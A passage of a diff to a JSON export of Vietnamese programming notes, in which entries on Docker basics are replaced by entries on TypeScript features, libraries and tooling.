KeyType]: ValueType }`.\r\n\r\nNguồn:: [Index Signatures in TypeScript](https://dmitripavlutin.com/typescript-index-signatures/)\r\n\r\n[[Index signature và record là các cách khai báo kiểu vật thể]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UC" + "id": "Xw" }, { - "Tiêu đề": "Container chỉ là một process", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Container chỉ là một process", + "Tiêu đề": "Index signature và record là các cách khai báo kiểu vật thể", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Index signature và record là các cách khai báo kiểu vật thể", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Cho nên lệnh để liệt kê tất cả các container đang chạy là `docker ps`, để cho giống với lệnh liệt kê tất cả các process đang chạy trên shell là `ps`\r\n\r\nLệnh `docker ps` này tương đương với `docker container ls`. Để liệt kê tất cả các container bất kể có đang chạy hay không, dùng `docker ps -a`.\r\n", + "Toàn bộ nội dung": "Nguồn:: [Record Type in TypeScript: A Quick Intro](https://dmitripavlutin.com/typescript-record/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UD" + "id": "Xx" }, { - "Tiêu đề": "Container là phù du", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Container là phù du", + "Tiêu đề": "Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [10 things to avoid in docker containers | Red Hat Developer](https://developers.redhat.com/blog/2016/02/24/10-things-to-avoid-in-docker-containers)\r\nNếu cần lưu trữ dữ liệu, hãy dùng volume. [[Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo]]\r\n\r\nĐể tự động xoá container sau khi nó chạy xong, dùng `--rm` khi tạo từ image. Nếu kết hợp cờ này với `-it` và bash sẽ hữu ích cho việc debug image:\r\n```\r\ndocker run --rm -it [IMAGE] bash\r\n```\r\n", + "Toàn bộ nội dung": "Trong TypeScript, nếu ta muốn khai báo kiểu cho vật thể, ta có thể dùng từ khoá `type` hoặc `interface`. `type` làm được gì thì `interface` cũng làm được như thế. Vậy thì khi nào nên dùng `type` và khi nào nên dùng `interface`?\r\n\r\n```ts\r\ntype CâuNhập = string\r\ntype DanhSáchCâuNhập = Array<CâuNhập>\r\ntype SốTiền = number\r\n```\r\n\r\nKhông như từ khoá `interface`, từ khoá `type` sử dụng dấu bằng. Trong toán học, **dấu bằng thể hiện mối quan hệ đồng nhất**. `a = b` khi và chỉ khi a và b đồng nhất. Sự đồng nhất này thậm chí còn hơn cả sự tương đương. Đây là một ý tưởng rất quan trọng trong toán học, mà ta lại hiểu được rất dễ dàng. Chính vì điều này, việc dùng `type` làm ta **ngay lập tức lĩnh hội được ý tưởng rằng đây là mối quan hệ đồng nhất**. Việc sử dụng `type` thay cho `interface` làm cho biểu thức gọn gàng hơn. Nó cũng khiến cho ta có thể linh hoạt thay đổi kiểu dữ liệu, không khiến ta bị đóng khung vào việc phải lưu dữ liệu dưới dạng vật thể. \r\n\r\n<sub>Và thực ra, hệ thống kiểu (type system) trong khoa học máy tính có nguồn gốc từ lý thuyết hình thái (type theory) trong toán học. </sub>\r\n\r\n```ts\r\ninterface ĐộngVật {\r\n\tmeomeo: boolean; \r\n}\r\ninterface Mèo extends ĐộngVật {\r\n\tmeomeo: boolean; \r\n}\r\n```\r\n\r\nTuy nhiên, điều mà từ khoá `type` truyền tải khác với điều mà từ khoá `interface` truyền tải. Không giống như kiểu, vốn bắt nguồn từ toán học, giao diện là một khái niệm đến từ khoa học máy tính. Tầm quan trọng của giao diện đến từ việc [[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì|nó là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]. Nếu lấy một vật thể cụ thể như bóng đèn làm ví dụ, thì giao diện của nó sẽ là cái đui đèn: chỉ cần người dùng có cái đui đó và nhà sản xuất tạo ra bóng đèn có cái đui đó thì đèn sẽ hoạt động. Người dùng không cần quan tâm cái đèn được tạo ra như thế nào, nhà sản xuất cũng không cần biết người dùng sẽ dùng cái đèn ra sao. Họ không cần quan tâm đến nhau để có thể đáp ứng được nhu cầu của nhau một cách hàng loạt. Nó là cái thứ mà người dùng thấy ở cái bóng đèn, là thứ bóng đèn giao tiếp với họ.\r\n\r\nCho nên, dù đúng là có thể dùng cả `type` và `interface` để khai báo kiểu cho vật thể, không có nghĩa là chúng truyền tải những ý đồ giống nhau. Ta không nên chỉ quan tâm mỗi việc làm sao để code chạy được, mà còn phải quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code. Việc thể hiện rõ được ý đồ của mình sẽ khiến ta đọc code dễ dàng hơn. Nếu sử dụng `interface` thì IDE có thể hiểu được ý mình tốt hơn và cho thông báo lỗi cụ thể hơn. Nếu đã xác định dữ liệu cần phải được lưu dưới dạng vật thể thì dùng `interface` sẽ tốt hơn.\r\n\r\n\r\nNguồn:: ![Why use Type and not Interface in TypeScript - YouTube](https://www.youtube.com/watch?v=Idf0zh9f3qQ&lc=UgxfYYiGoHCcnsqUTR54AaABAg)\r\nNguồn:: [TypeScript: Documentation - TypeScript for JavaScript Programmers](https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes.html)\r\n\r\n[[Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-02T17:04:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UE" + "id": "Xy" }, { - "Tiêu đề": "Có vẻ như ngày xưa engine với daemon là một", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Có vẻ như ngày xưa engine với daemon là một", + "Tiêu đề": "Nếu một thứ kêu như con vịt và đi như con vịt, thì nó là con vịt", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Nếu một thứ kêu như con vịt và đi như con vịt, thì nó là con vịt", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Có vẻ như sau này engine đã được định nghĩa lại để [[Engine bao gồm CLI client, API và deamon|bao gồm CLI client, API và deamon]]\r\n\r\nNguồn:: [Difference between Docker Desktop and Docker Engine - General Discussions - Docker Community Forums](https://forums.docker.com/t/difference-between-docker-desktop-and-docker-engine/124612/14?u=ooker)\r\n\r\n---\r\n\r\n![](https://cuongquach.com/wp-content/uploads/2019/12/daemon-trong-linux-la-gi.jpg) \r\n**Daemon** là một loại chương trình trên các hệ điều hành **Like-Unix** hoạt động ẩn trong background không cần sự kiểm soát bởi user. **Daemon** sẽ được kích hoạt bởi một sự kiện hoặc điều kiện nào đó xảy ra cụ thể.\r\n\r\nThuật ngữ **daemon** có nguồn gốc từ các daemon trong thuần thoại Hy Lạp, đó là những sinh vật siêu nhiên được xếp hạng giữa các vị thần và những con người, sở hữu kiến thức uyên thâm và quyền lực. **Socrates** từng nói rằng có một daemon đưa ra cảnh báo và lời khuyên nhưng không bao giờ ép buộc anh theo dõi nó.\r\n\r\nTừ **daemon** được sử dụng lần đầu tiên trong dự án **MAC** (sau này trở thành phòng lab MIT) sử dụng **IBM 7094** vào năm 1963. Cách dùng từ ngữ này được lấy cảm hứng từ các daemon trong vật lý và nhiệt động lực học của Maxwell, đã giúp phân loại các phân tử có tốc độ khác nhau và thuật ngữ này cũng được mô tả quá trình hoạt động không ngừng nghỉ của các process trong hệ thống dưới background. Sau này, nó còn được diễn giãi với cách dùng từ viết tắt của **Disk And Execution Monitor**.\r\n\r\nNguồn:: [Daemon trong Linux là gì ? - Technology Diver](https://cuongquach.com/daemon-trong-linux-la-gi.html)\r\n\r\n", + "Toàn bộ nội dung": "```ts\n// TypeScript is a Structural Type System. A structural type\n// system means that when comparing types, TypeScript only\n// takes into account the members on the type.\n\n// This is in contrast to nominal type systems, where you\n// could create two types but could not assign them to each\n// other. See example:nominal-typing\n\n// For example, these two interfaces are completely\n// transferrable in a structural type system:\n\ninterface Ball {\n diameter: number;\n}\ninterface Sphere {\n diameter: number;\n}\n\nlet ball: Ball = { diameter: 10 };\nlet sphere: Sphere = { diameter: 20 };\n\nsphere = ball;\nball = sphere;\n\n// If we add in a type which structurally contains all of\n// the members of Ball and Sphere, then it also can be\n// set to be a ball or sphere.\n\ninterface Tube {\n diameter: number;\n length: number;\n}\n\nlet tube: Tube = { diameter: 12, length: 3 };\n\ntube = ball;\nball = tube;\n\n// Because a ball does not have a length, then it cannot be\n// assigned to the tube variable. However, all of the members\n// of Ball are inside tube, and so it can be assigned.\n\n// TypeScript is comparing each member in the type against\n// each other to verify their equality.\n\n// A nominal type system means that each type is unique\n// and even if types have the same data you cannot assign\n// across types.\n\n// TypeScript's type system is structural, which means\n// if the type is shaped like a duck, it's a duck. If a\n// goose has all the same attributes as a duck, then it also\n// is a duck. You can learn more here: example:structural-typing\n\n// This can have drawbacks, for example there are cases\n// where a string or number can have special context and you\n// don't want to ever make the values transferrable. For\n// example:\n//\n// - User Input Strings (unsafe)\n// - Translation Strings\n// - User Identification Numbers\n// - Access Tokens\n\n// We can get most of the value from a nominal type\n// system with a little bit of extra code.\n\n// We're going to use an intersectional type, with a unique\n// constraint in the form of a property called __brand (this\n// is convention) which makes it impossible to assign a\n// normal string to a ValidatedInputString.\n\ntype ValidatedInputString = string & { __brand: \"User Input Post Validation\" };\n\n// We will use a function to transform a string to\n// a ValidatedInputString - but the point worth noting\n// is that we're just _telling_ TypeScript that it's true.\n\nconst validateUserInput = (input: string) => {\n const simpleValidatedInput = input.replace(/\\</g, \"≤\");\n return simpleValidatedInput as ValidatedInputString;\n};\n\n// Now we can create functions which will only accept\n// our new nominal type, and not the general string type.\n\nconst printName = (name: ValidatedInputString) => {\n console.log(name);\n};\n\n// For example, here's some unsafe input from a user, going\n// through the validator and then being allowed to be printed:\n\nconst input = \"alert('bobby tables')\";\nconst validatedInput = validateUserInput(input);\nprintName(validatedInput);\n\n// On the other hand, passing the un-validated string to\n// printName will raise a compiler error:\n\nprintName(input);\n\n// You can read a comprehensive overview of the\n// different ways to create nominal types, and their\n// trade-offs in this 400 comment long GitHub issue:\n//\n// https://github.com/Microsoft/TypeScript/issues/202\n//\n// and this post is a great summary:\n//\n// https://michalzalecki.com/nominal-typing-in-typescript/\n```\n\nNguồn:: [TypeScript: TS Playground - An online editor for exploring TypeScript and JavaScript](https://www.typescriptlang.org/play/?#code/PTAEEFQOwewWwJZQIYBtQBcCeAHApqAM5aEZ5yhx7JSGYAWyGo1AxvZrgQnQK5QIAjrzwAoEKBoATFgDc8UUAgBmnfHUbyGBQsiqgpTZKCwxeoVjVjNkhQggDmUcWGSsATjDtq8hAHSiLqAAKlwAyh4IOBgA5HTY+EQkZBQ8RBjuvKwYvO5oADSgAO70COyU1LRBKto+SnSEjPgyqAgA1gTGUllthQixdF09fqAAkqrIQQ4wXgSMg6joGPQ6ep0YGQgARrxkg4MGPYXLCko2qIQw1QfdrG0jAJpmFjSgqNTuinAw7nN4vwAuFgADz0OHeANImWyuTQAFoEkgHIEJMFSnRLIpNAQpHkils3G1CIVlD8QWD3tpfpJqZZCL4giV-p10u4kaAyVBeHAtv8XljkFpCPhWAg0BYYFAyMCbFAZKZeEEpJKYswijRmBgYHI+XBkB1arI0CJ4nlaMp-nktu8RgAxH5BPCguDgvAAlxBOGgUAAVXp7jGUBwu1AYU2UAcdAAFPxdBaAJSe73BM2EVBMBCS0PhyNJ33+sZSBQYFRlDNZgBy3N57kIefArFYvjowRgHSqQQA6gRMaAHHhmN9SBzVCdQEbUCJQMpPBRjLBECgllwgsRSORiv0OMZWhtKVt+iOQRljKwYEWAl28DFqdN2VrQLx6ZJFEgyLW8NlM0ufIUilvJEfARhDECQz1oE83yURQx1JdwKBgCZQBwTx8HcbAXkWPAZAAfRwrYzRkKNlh4a4JSgeQpW-eNilKco9Q6OhDwQF0vHsa0CAfWx7CcSQglgeDxShe9tWMAA1NAEEMMgpFGINdjDNkI0vBICAk1ppOwuTgwwRT2QAXlZdkADJQAAb1APCCOkIEACI-T5bSQwABS8Zh1Kk8soFs0AAF8AG4UTAbtN0WR9n2MZR+C-LMHxPc0fjnIyI0wK4JHEyTNNk+TdJzUAvR2TUVmQmAoKKH5lmgGASwjMjliYYpr2pAArJ9mBwshFiRHCQnCSJogYBr+jiTBMjwS9wOHCdPLIBz3Cc5hDKjJAdKBYSIxo-SAD5zNEb1JuYewXXeDysoW0BDJW3Y-F+cE3DwKNgAAHQAHmABxClswATIls+NAu9X4ck+IgWNdU6mC0nLJDocGZIWvSI0CgKgtACsYCKRr+QsX4IenaKS0lOgSjKDh-zCyVUCwSRGzwaIgjMAMoDwDGFyQcVVMKaQqqKgh+yZvJ0HWhwfAmwnmBQt8KzWC7QCjFAqCBWHIZ0hGHE2nazL28jLhtVAYAcOW1j+0RkaCe0AydCk8EKFZfhGy59FjZALWgnTp1nQCn3+Qo71qiRlk8XgHA4MdpukskuZORReXZNA9aKbDUtAXlkKUmT3VEA7XZDQzbLQf4MCjGIthgLYtipjBkA4wgYnjWzAqzsOIeyt3DKb2b-QW5acuNiWpSlqgo3b5XdmNoIAHkYOK6rbdARg5UKHBuPvYr+DhYeZCF1Kgj7jAB4IMn0DyHgWTPF0EHeC33E8dwM93-fu50seJCecxexxmRT3gFC8BWWgEC0DAeQ7hZAIGZkeE4SoVAWl+FKYoyASBJw8NQMgVVFzsy4MSF8MgTgIHcEEE8RY4SIWUExKeaQAAsAAGKhEo4BUDgXrFKABxfoAAJXgWx6iEBEO6EAQR6AbBwIQAEIAHBbk4X4M+wAACyZRPCXGUBgYAoR8ARDZNEYAPAeG+GAAAJioXoj06U5QMDSDgNy9RAIOBxodbkep3BYD4cAARQiREgEQOwNAAAvfOdwEBSPgMAVmS4ES4CRHCJAYT1D9WUaIIAA)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-03T14:06:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UF" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-24T15:41:00.000Z", + "id": "Xz" }, { - "Tiêu đề": "Docker Desktop tạo ra một máy ảo để chạy docker engine", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Docker Desktop tạo ra một máy ảo để chạy docker engine", + "Tiêu đề": "satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> Docker Desktop has its own distributions When you stop Docker Desktop you stop those distributions and maybe some Windows services.\r\n\r\nTrên Windows, wsl chính là máy ảo đó\r\n\r\nNguồn::\r\n", + "Toàn bộ nội dung": "```ts\ntype Colors = \"red\" | \"green\" | \"blue\";\ntype RGB = [red: number, green: number, blue: number];\nconst palette = {\n\tred: [255, 0, 0],\n\tgreen: \"#00ff00\", \n\tbleu: [0, 0, 255]\n// ~~~~ The typo is now caught!\n} satisfies Record<Colors, string | RGB>;\n```\n\nNguồn:: [[freeCodeCamp]], [How to Use the TypeScript satisfies Operator](https://www.freecodecamp.org/news/typescript-satisfies-operator/)\n[TypeScript: Documentation - TypeScript 4.9](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-9.html)\n[[as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-19T08:55:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UG" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-02T14:02:00.000Z", + "id": "X-" }, { - "Tiêu đề": "Docker", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Docker", + "Tiêu đề": "DefinitelyTyped", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/DefinitelyTyped", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Công cụ/Docker\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n\r\n[Hết dung lượng disk do chạy Docker trong thời gian dài](https://viblo.asia/p/het-dung-luong-disk-do-chay-docker-trong-thoi-gian-dai-oK9Vyze94QR#comment-bXP4WgPr47G)\r\n\r\nTiếng Pháp, phụ đề tiếng Anh: [Understanding Docker in a visual way - YouTube](https://www.youtube.com/playlist?list=PLmw3X80dPdlyRV2EUKnFOvBACs_tcArd0)", + "Toàn bộ nội dung": "Nguồn:: [GitHub - DefinitelyTyped/DefinitelyTyped: The repository for high quality TypeScript type definitions.](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-10T06:13:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UH" + "id": "X_" }, { - "Tiêu đề": "Engine bao gồm CLI client, API và deamon", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Engine bao gồm CLI client, API và deamon", + "Tiêu đề": "dts hoặc siroc dùng để khởi tạo dự án mà không tốn quá nhiều thời gian config", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/dts hoặc siroc dùng để khởi tạo dự án mà không tốn quá nhiều thời gian config", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong trường hợp của Docker Desktop, CLI client nằm ở máy host, còn daemon nằm ở máy ảo\r\n\r\nNguồn:: [Difference between Docker Desktop and Docker Engine - General Discussions - Docker Community Forums](https://forums.docker.com/t/difference-between-docker-desktop-and-docker-engine/124612/2?u=ooker)\r\n", + "Toàn bộ nội dung": "Nguồn:: [Introduction – TSDX](https://tsdx.io/)\n[dts-cli - npm](https://www.npmjs.com/package/dts-cli)\n[GitHub - danielroe/siroc: Zero-config build tooling for Node](https://github.com/danielroe/siroc)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UI" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-30T07:39:00.000Z", + "id": "Y0" }, { - "Tiêu đề": "exec để chạy lệnh cho một container đang chạy", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/exec để chạy lệnh cho một container đang chạy", + "Tiêu đề": "Dùng string-ts để bắt kiểu cho chuỗi được tốt hơn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Dùng string-ts để bắt kiểu cho chuỗi được tốt hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "## 😬 The problem\r\n\r\nWhen you are working with literal strings, the string manipulation functions only work at the runtime level and the types don't follow those transformations. You end up losing type information and possibly having to cast the result.\r\n\r\n```ts\r\nconst str = 'hello-world'\r\nconst result = str.replace('-', ' ') // you should use: as 'hello world'\r\n// ^? string\r\n```\r\n\r\n## 🤓 The solution\r\n\r\nThis library aims to solve this problem by providing a set of common functions that work with literal strings at both type and runtime level.\r\n\r\n```ts\r\nimport { replace } from 'string-ts'\r\n\r\nconst str = 'hello-world'\r\nconst result = replace(str, '-', ' ')\r\n// ^ 'hello world'\r\n```\r\nNguồn:: [GitHub - gustavoguichard/string-ts: Strongly typed string functions](https://github.com/gustavoguichard/string-ts?tab=readme-ov-file#charat)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UJ" + "id": "Y1" }, { - "Tiêu đề": "Image là template để chạy container", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Image là template để chạy container", + "Tiêu đề": "Dùng ts-reset để sửa những lỗi kỳ lạ của TS", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Dùng ts-reset để sửa những lỗi kỳ lạ của TS", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "> [!attention] Chỉ dùng cho app, không dùng trên thư viện\r\n> `ts-reset` is designed to be used in application code, not library code. Each rule you include will make changes to the global scope. That means that, simply by importing your library, your user will be unknowingly opting in to `ts-reset`.\r\n\r\n[Links to why typescript chose to opt in for these weird quirks · total-typescript/ts-reset · Discussion #129 · GitHub](https://github.com/total-typescript/ts-reset/discussions/129)\r\n\r\nNguồn:: [TS Reset - Official Docs | Total TypeScript](https://www.totaltypescript.com/ts-reset)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UK" + "id": "Y2" }, { - "Tiêu đề": "Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image", + "Tiêu đề": "esbuild", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/esbuild", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Việc dựng image được thiết lập qua dockerfile]]\r\n", + "Toàn bộ nội dung": "With Esbuild, you can easily analyse the generated bundle code and check which source files contribute most to the bundle size using the [`build.metadata`](https://esbuild.github.io/api/#build-metadata \"build.metadata\n(https://esbuild.github.io/api/#build-metadata)\") variable An example:\n\n```js\nconst context = await esbuild.context({\n /* Your Build variables */\n // ... \n metafile: true\n});\n\nlet build = await context.rebuild();\nconsole.log(await analyzeMetafile(build.metafile));\nprocess.exit(0);\n```\n\n(you can also run this using process args, of course) Which outputs:\n\n```\n main.js 884.6kb 100.0%\n ├ src/database/indexer.worker.ts 303.4kb 34.3%\n ├ node_modules/localforage/dist/localforage.js 81.8kb 9.2%\n ├ src/editor/base/parser/node_modules/@lezer/lr/dist/index.js 52.7kb 6.0%\n ├ node_modules/entities/lib/esm/generated/decode-data-html.js 46.1kb 5.2%\n ├ src/ui/pages/ViewPage.svelte 42.6kb 4.8%\n ├ node_modules/@lezer/common/dist/index.js 42.5kb 4.8%\n```\n\n \nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UL" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-30T07:50:00.000Z", + "id": "Y3" }, { - "Tiêu đề": "Nếu dựng lại image mà đánh tag giống nhau thì image cũ sẽ thành danling image", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Nếu dựng lại image mà đánh tag giống nhau thì image cũ sẽ thành danling image", + "Tiêu đề": "Người mới học TS thì nên cài extension Total TypeScript để bớt sợ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Người mới học TS thì nên cài extension Total TypeScript để bớt sợ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Viblo]], [Vì sao lại có image `<none>` sau khi build docker?](https://viblo.asia/p/vi-sao-lai-co-image-none-sau-khi-build-docker-L4x5xvBgZBM)\r\n\r\nNếu muốn xoá luôn chúng lúc dựng thì dùng `docker build --rm`. Để xoá hết thì dùng:\r\n```\r\ndocker rmi $(docker images -f “dangling=true” -q)\r\n```\r\n", + "Toàn bộ nội dung": "Nó giúp làm quen được một số cú pháp hoặc lỗi cơ bản.\r\n\r\nGet helpful hints on syntax you've never seen before, with direct links to the docs. Once you feel you've got it covered, mark it as learned to hide the hints. Goes all the way from beginner to hyper-advanced. (Bấm <kbd>Ctrl+K Ctrl+I</kbd>) \r\n\r\n![A TypeScript hint showing in a VSCode document](https://raw.githubusercontent.com/mattpocock/ts-error-translator/main/assets/hint-screenshot.png)\r\n\r\nConfused by TypeScript errors? Translate them into human-readable language right in your IDE. (Bấm <kbd>F8</kbd>) \r\n\r\n![An improved error message showing in a VSCode document](https://raw.githubusercontent.com/mattpocock/ts-error-translator/main/assets/error-screenshot.png)\r\n\r\nNếu cái nào không hiện lên thì vào [TypeScript Error Translator ](https://ts-error-translator.vercel.app/).\r\n\r\nNguồn:: ![Can VS Code teach you TypeScript?](https://www.youtube.com/live/tDT214cE6Lo?feature=share) \r\n\r\nNgoài ra cũng có chỉnh strictness \r\n![Typescript: 02-03 Strictness - Các config về strict trong tsconfig.json - YouTube](https://www.youtube.com/watch?v=5qQ7FP4Cvew)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UM" + "id": "Y4" }, { - "Tiêu đề": "Việc dựng image được thiết lập qua dockerfile", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Việc dựng image được thiết lập qua dockerfile", + "Tiêu đề": "Thay vì dùng Copilot để gợi ý code, có thể dùng 30 seconds of TypeScript", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Thay vì dùng Copilot để gợi ý code, có thể dùng 30 seconds of TypeScript", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Learn Docker in 7 Easy Steps - Full Beginner's Tutorial - YouTube](https://youtu.be/gAkwW2tuIqE?si=hvz8xyWfGNlOUCqr)\r\n\r\nVí dụ:\r\n```docker\r\nFROM image_cơ_sở\r\nWORKDIR /app\r\nCOPY package.json ./\r\nRUN npm install\r\nCOPY ./ .\r\nEXPOSE 80\r\nCMD lệnh_khi_image_được_chạy\r\n\r\n```\r\n[[Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image]]\r\n[[Container chỉ là một process]]. [[Image là template để chạy container]] \r\n", + "Toàn bộ nội dung": "Chỉ cần gõ `30_` rồi chờ một chút để VS Code gợi ý. Nếu nó không gợi ý thì bấm <kbd>Ctrl+Space</kbd>\r\n![](https://github.com/deepakshrma/30-seconds-of-typescript/raw/master/assets/snippets.gif)\r\n[Site 